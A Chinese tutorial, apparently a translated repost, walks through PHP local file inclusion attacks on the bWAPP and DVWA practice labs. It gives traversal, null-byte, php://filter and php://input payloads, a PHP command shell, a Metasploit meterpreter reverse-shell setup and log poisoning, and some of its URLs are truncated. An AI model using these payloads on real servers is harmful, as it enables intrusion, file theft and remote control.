五種利用本地包含漏洞的方式

本地文件包含(Local File Include)是php腳本的一大特色,程序員們為了開發的方便,常常會用到包含。比如把一系列功能函數都寫進fuction.php中,之後當某個文件需要調用的時候就直接在文件頭中寫上一句<?php include fuction.php?>就可以調用內部定義的函數。

本地包含漏洞是PHP中一種典型的高危漏洞。由於程序員未對用戶可控的變數進行輸入檢查,導致用戶可以控制被包含的文件,成功利用時可以使web server會將特定文件當成php執行,從而導致用戶可獲取一定的伺服器許可權。

本篇文章的主要目的是分享在伺服器上使用各種技術攻擊一個Web伺服器的想法,當伺服器遭受文件包含漏洞時,用戶會通過URL在瀏覽器中包括一個文件。在本文中,作者將使用了兩個不同的平台bWAPP(一款非常好用的漏洞演示平台,集成了各種常見漏洞和最新漏洞的開源Web應用程序,目的是幫助網路安全愛好者、開發人員和學生髮現並防止網路漏洞)和DVWA(dema vulnerable web application,是一個基於PHP/MYSQL環境寫的一個web應用,主要目的是幫助安全專業員在合法的環境裡面去測試他們的技術和工具),其中包含文件包含漏洞,然後以四種不同的方式執行LFI攻擊。

基本本地文件包含

在瀏覽器中打開目標IP,並在BWAPP內登錄為bee:bug,然後就可以選擇remote & local file Inclusion,然後點擊hack。

這時,所請求的具有RFI和LFI漏洞的網頁就會被打開。你將在給定的下拉列表中找到用於選擇語言的注釋,當你單擊go按鈕時,所選的語言文件將包含在URL中。這時基本攻擊操作便會執行。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd

在基本的LFI攻擊中,我們可以使用(../)或簡單地(/)從目錄中直接讀取文件的內容,現在如果你注意到下面的截圖,你會發現有瀏覽器中正在執行訪問密碼文件URL。

空字元注入

在一些情況下,由於高安全級別,上述所講的基本本地文件包含攻擊可能起不到攻擊效果。從下面的圖中,大家可以觀察到,當在URL中執行相同的路徑時,是無法讀取密碼文件的。所以當我們面對這樣的問題,就要採用空字元注入攻擊了。

現在打開Burp Suite(是用於攻擊web 應用程序的集成平台。它包含了許多工具,並為這些工具設計了許多介面,以促進加快攻擊應用程序的過程)來捕獲瀏覽器中的請求,然後選擇proxy tab並開始intercept,不過不要忘記在使用Burp Suite時設置browser proxy

Burp支持手動的Web應用程序測試的活動。它可以讓你有效地結合手動和自動化技術,使你可以完全控制所有的BurpSuite執行的行動,並提供有關你所測試的應用程序的詳細信息和分析。 讓我們一起來看看Burp Suite的測試流程過程吧。 如下圖

現在內部BurpSuite會將攔截的數據發送到中繼器。

存在於其中面的中繼器你可以做發送的請求和響應生成的分析。從一下屏幕的截圖中,我們可以清楚的發現, / etc / passwd是不工作,所以我們無法讀取密碼文件。

從以下截圖中,可以看到我們已經通過在/ etc / passwd%00目錄的末尾添加空了字元(%00)來轉發請求,單擊go運行之後,然後在窗口的右視圖上,密碼文件作為響應就被打開。

Base64編碼

現在用另一種方法來利用LFI時,當安全級別很高時,並且無法查看PHP文件內容時,可以使用以下PHP函數。

http://192.168.1.101/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode/resource=/etc/passwd

從下面的截圖你可以看到密碼文件的內容編碼為base64,然後複製整個編碼文本。

比如本文的作者使用的就是hackbar(firefox瀏覽器上的一個插件)解碼上面複製的文本。

現在會有一個彈出框被打開,然後複製編碼文本,並單擊OK

從以下的屏幕截圖中,你可以查看結果並讀取密碼文件的內容。

PHP輸入

使用PHP輸入函數,我們將執行注入的PHP代碼來利用LFI漏洞。在hackbar的幫助下,就可以開始執行這個任務了,首先,我們需要載入目標網頁的URL,如下方的屏幕截圖所示。

192.168.1.101/bWAPP/rlf

現在使用PHP輸入函數,操作上面的URL

192.168.1.101/bWAPP/rlf

然後選中複選框的enable Post data ,

它將轉發發布請求並在給定文本區域中添加cmd注釋<?php system($ _ GET [cmd]); ?>如下圖所示,最後點擊execute。然後被攻擊者的PC目錄就顯示了出來。

現在就可以通過反向連接連接受害者;在kali Linux(基於Debian的Linux發行版, 設計用於數字取證和滲透測試)中打開終端並鍵入msfconsole啟動metasploit框架。

現在鍵入use exploit / multi / script / web_delivery

msf exploit(web_delivery)>set target 1msf exploit(web_delivery)>set payload windows/meterpreter/reverse_tcpmsf exploit(web_delivery)> set lhost 192.168.0.104msf exploit(web_delivery)> set srvport 8081msf exploit(web_delivery)> exploit

然後複製下面窗口紅色字體的文本

將上面複製的PHP代碼粘貼到URL中,如圖所示,並執行它。

當執行上面的URL時,攻擊者就會在metasploit中獲得受害者的meterpreter通信記錄。

msf exploit(web_delivery)> session -I 1meterpreter> sysinfo

Proc / self / environ

如果伺服器已過響應時間,還可以通過LFI重新利用,包括存儲在User_Agent的/proc/self/environ文件,我們將把我們的PHP代碼放置其中用於執行CMD命令。

192.168.1.102/dvwa/vuln

現在啟動burp suite 並捕獲瀏覽器的請求,就能獲取發送到中繼器的數據。

在user_Agent內,添加cmd注釋<?php system($ _ GET [cmd]); ?>,並使用GET參數192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id發送請求,如下圖所示。在窗口的右側,你就可以看到hig

添加cmd注釋<?php system($ _ GET [cmd]); ?>在user_Agent內,並使用GET參數192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id發送請求,如下圖所示。 在窗口的右側,你可以看到有閃亮的字體,這代表出現了相應的響應。

本文參考來源於5 ways to Exploit LFi Vulnerability,如若轉載,請註明來源於嘶吼: 五種利用本地包含漏洞的方式 更多內容請關注「嘶吼專業版——Pro4hou」

推薦閱讀:

科普 | 你必須了解的漏洞利用緩解及對抗技術
如何看待谷歌在微軟發布補丁之前公布並演示相關漏洞?
【阿里聚安全技術公開課】移動APP漏洞風險與解決方案
Metasploit 學習筆記 (三)
提權篇之exp 提權中所遇到的問題(有攻才有防)

TAG:漏洞 | 信息安全 |